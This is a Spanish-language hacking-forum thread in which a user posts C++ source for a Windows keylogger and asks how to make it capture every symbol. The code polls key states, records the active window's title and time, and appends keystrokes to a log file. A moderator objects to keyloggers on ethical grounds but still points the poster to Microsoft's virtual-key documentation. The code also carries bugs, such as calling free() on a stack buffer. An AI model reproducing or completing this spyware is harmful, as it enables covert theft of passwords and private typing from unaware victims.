elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++ (Moderadores: Eternal Idol, Littlehorse, K-YreX)
| | |-+  Terminando el Keylogger
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Terminando el Keylogger  (Leído 2,954 veces)
Citrusl

Desconectado Desconectado

Mensajes: 24


Ver Perfil
Terminando el Keylogger
« en: 24 Septiembre 2014, 02:25 am »

Que tal gente!

Estoy haciendo un keylogger en C++/CPP.

Tomé como influencias ciertos códigos que se han publicado en esta página pero por lo que veo nadie se detuvo a perfeccionar este pequeño keylogger. Lo cual me resulta un desperdicio de posibilidades y talento. (LEER AL FINAL DEL CODIGO)

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <time.h>

#define OK -32767

int main() {
   
    FILE *log; 
    HWND ventana;   
    time_t ltime;
    int tecla=0;
    int cont=0;
    char TVentana[500] = "";                     
    char Teclas[10240]=""; //      0  1      2          3          4  5          6  7  8              9       10
    char simbol[256][15] =/*0*/  {"","","[CliC-I]","[CliC-D]","","[CliC-C]","","","[Retroceder]","[TAB]","",
                          /*1*/      "","","[ENTER]","","","[SHIFT]","[CONTROL]","[ALT]","","[Mayusculas]",
                          /*2*/      "","","","","","","[Esc]","","","",
                          /*3*/      ""," ","[Re-Pag]","[Av-Pag]","","[Inicio]","[Izquierda]","[Arriba]","[Derecha]","[Abajo]",
                          /*4*/      "","","","[PrtSc]","[Insert]","[Supr]","","0","1","2",
                          /*5*/      "3","4","5","6","7","8","9","","","",
                          /*6*/      "","","","","a","b","c","d","e","f",
                          /*7*/      "g","h","i","j","k","l","m","n","o","p",
                          /*8*/      "q","r","s","t","u","v","w","x","y","z",
                          /*9*/      "[WIN-I]","[WIN-D]","[D-WIN]","","","0","1","2","3",
                          /*10*/     "4","5","6","7","8","9","*","+"," ","-",".",
                          /*11*/     "/","[F1]","[F2]","[F3]","[F4]","[F5]","[F6]","[F7]","[F8]","[F9]",
                          /*12*/     "[F10]","[F11]","[F12]"," "," "," "," "," "," "," ",
                          /*13*/     " "," "," "," "," "," "," "," "," "," "," ",
                          /*14*/     " "," ","[Bloq Num]"," "," "," "," "," "," ",
                          /*15*/     " "," "," "," "," "," "," "," "," ","[Shift-I]",
                          /*16*/     "[Shift-D]"," "," "," "," "," "," "," "," "," ",
                          /*17*/     " "," "," "," "," "," "," "," "," "," ",
                          /*18*/     " "," "," "," "," "," "," ",",","-",".",
                          /*19*/     " "," "," "," "," "," "," "," "," ",
                          /*20*/     " "," "," "," "," "," "," "," "," "," "," ",
                          /*21*/     " "," "," "," "," "," "," "," ","'","\\",
                          /*22*/     "¡","´" };
     
   log=fopen("log.log","a");
   fprintf(log,"\n/******************************/");
   fprintf(log,"\n/*
  • KeyLoGuer   */");
   fprintf(log,"\n/*
  • Iniciando...OK ");
   fprintf(log,"\n/******************************/");
   fclose(log);
           
   ventana=GetForegroundWindow();
   
   while(1) {
      if((GetForegroundWindow()!=ventana) || (cont==850)){
         if(strlen(TVentana)>0 && strlen(Teclas)>0) {
            time(&ltime);
            ctime(&ltime);

            log=fopen("log.log","a");
            fprintf(log,"\n\n
  • Fecha: %s",ctime(&ltime));
            fprintf(log,"
  • Ventana: %s ",TVentana);
            fprintf(log,"\n
  • Texto: %s",Teclas);
            fprintf(log,"\n ");
            fprintf(log,"\n/******************************/\n");
            fclose(log);

            free(Teclas);
            strcpy(Teclas,"");
            cont = 0;
            }
         ventana=GetForegroundWindow();
         }
      else {
           GetWindowText(ventana,TVentana,500);
           }
      for(tecla=4;tecla<256;tecla++) {
          if (GetAsyncKeyState(tecla)==OK) {
              strcat(Teclas,simbol[tecla]);
              printf(" %s \n" ,simbol[tecla]);
              cont++;
              }
          }
    }
}

Muy buen código y de todos los que vi buscando por internet fue el más simple y efectivo. De todas formas NINGUNO de estos keyloggers puede detectar todo el codigo ASCII.

Veamos un ejemplo mientras se ejecuta el programa: Si alguien teclea ALT+265 se crea el simbolo "○", Sin embargo en el .log solo se guarda ALT ALT ALT ... 

NINGUN KEYLOGGER HECHOS EN C++ HASTA AHORA RECONOCE TODA LA SIMBOLOGIA Y ESTO REQUIERE MEJORAS.

Por favor alguien sabe como completar el código? Es posible hacerlo en C++?


En línea

engel lex
Moderador Global
***
Desconectado Desconectado

Mensajes: 15.514



Ver Perfil
Re: Terminando el Keylogger
« Respuesta #1 en: 24 Septiembre 2014, 02:36 am »

usa las etiquetas GeShi para publicar codigo, realmente nadie se a dedicado a mejorarlo porque muchos codigos están puestos por mera razon de analisis o gente queriendo mostrar su "gran" conocimiento en malware, pero el foro en general está contra los actos no eticos o criminales... por eso es que no ves grandes avances el estos temas como un post, es más que todo aprender que hace y como


En línea

El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.
Citrusl

Desconectado Desconectado

Mensajes: 24


Ver Perfil
Re: Terminando el Keylogger
« Respuesta #2 en: 24 Septiembre 2014, 02:42 am »

Esto es como la ciencia. Puede usarse para el bien o para el mal.

Pero creo que todos estamos de acuerdo en que esta debe seguir avanzando.

Creo que es un buen ejemplo para resolver desde el lado ético. Convengamos que es un keylogger muy simple, fácilmente detectable y es poco probable que alguien pueda usarlo de forma maligna a gran escala.
En línea

engel lex
Moderador Global
***
Desconectado Desconectado

Mensajes: 15.514



Ver Perfil
Re: Terminando el Keylogger
« Respuesta #3 en: 24 Septiembre 2014, 02:51 am »

por cierto, modifica el tema y coloca el código en GeSHi  ::)

(por cierto, esto debería haber ido en la sección de "desarrollo y analisis de malware", según creo, pero ya un moderador lo moverá de ser necesario)
realmente no me meto en el tema de los malware, para ser sincero soy muy nazi  con estos temas :laugh: y no veo la manera etica de usar un keylogger (el hecho no es que sea detectable, eso no le da ética, solo lo hace inútil para lammers, que semos sinceros, ya es un buen progreso)... pero solo por el "bien del progreso", tiene un gran error... el codigo lee las letras que llegan al sistema operativo, en lugar de leer las teclas presionadas, con (creo que microsoft lo llama) virtual key code, lees eso y no importa si es ascii o no, porque lo importante va a ser la tecla que se presionó y su representación unicode
En línea

El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.
Citrusl

Desconectado Desconectado

Mensajes: 24


Ver Perfil
Re: Terminando el Keylogger
« Respuesta #4 en: 24 Septiembre 2014, 02:54 am »

Lo siento, es la primera ves que entro al foro. Apenas le estoy agarrando la mano.

Espero que al menos alguien pueda ayudarme a terminarlo. No eh encontrado nada al respecto sobre este tema.

Gracias por moverlo a la categoría correcta y disculpen las molestias!
En línea

engel lex
Moderador Global
***
Desconectado Desconectado

Mensajes: 15.514



Ver Perfil
Re: Terminando el Keylogger
« Respuesta #5 en: 24 Septiembre 2014, 02:57 am »

tranquilo... pero si quieres ve buscando aqui en c++ como aceptar caracteres unicode

ya conseguí el tema
http://msdn.microsoft.com/en-us/library/windows/desktop/dd375731(v=vs.85).aspx

fíjate que incluso acepta los botones de "play" y cosas así...
En línea

El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
usb keylogger, o keylogger desde modo seguro.
Seguridad
minerif 0 3,186 Último mensaje 24 Marzo 2013, 23:20 pm
por minerif
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines